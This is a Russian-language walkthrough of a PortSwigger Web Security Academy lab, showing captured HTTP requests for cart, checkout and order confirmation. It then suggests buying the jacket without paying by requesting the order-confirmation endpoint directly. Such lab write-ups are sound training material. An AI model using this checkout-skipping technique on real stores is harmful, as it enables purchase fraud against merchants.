Для прохождения нужно купить Lightweight l33t leather jacket. Для входа в учетную запись есть креды wiener:peter.

https://0ae700e003e905dd811b3f0e00ff0002.web-security-academy.net/

Solution

Зайду в личный кабинет, попробую собрать различные варианты запросов.

Добавление товара в корзину:

POST /cart HTTP/2
Host: 0ae700e003e905dd811b3f0e00ff0002.web-security-academy.net
Cookie: session=ii4c9RiowvaXnZktNrhoLC5gpwZUGoPc
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ae700e003e905dd811b3f0e00ff0002.web-security-academy.net/product?productId=14
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: https://0ae700e003e905dd811b3f0e00ff0002.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

productId=14&redir=PRODUCT&quantity=1

Покупка товара:

POST /cart/checkout HTTP/2
Host: 0ae700e003e905dd811b3f0e00ff0002.web-security-academy.net
Cookie: session=ii4c9RiowvaXnZktNrhoLC5gpwZUGoPc
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ae700e003e905dd811b3f0e00ff0002.web-security-academy.net/cart
Content-Type: application/x-www-form-urlencoded
Content-Length: 37
Origin: https://0ae700e003e905dd811b3f0e00ff0002.web-security-academy.net
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

csrf=i4U0M2bJTCiBDeyJ1MHmC3qVQbVxjxUR

Подтверждение заказа:

GET /cart/order-confirmation?order-confirmed=true HTTP/2
Host: 0ae700e003e905dd811b3f0e00ff0002.web-security-academy.net
Cookie: session=ii4c9RiowvaXnZktNrhoLC5gpwZUGoPc
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:144.0) Gecko/20100101 Firefox/144.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0ae700e003e905dd811b3f0e00ff0002.web-security-academy.net/cart
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Хмм. Не вижу ни одной причины, чтобы не попробовать добавить жилет в корзину, а затем не отправить запрос на /cart/order-confirmation:

IMG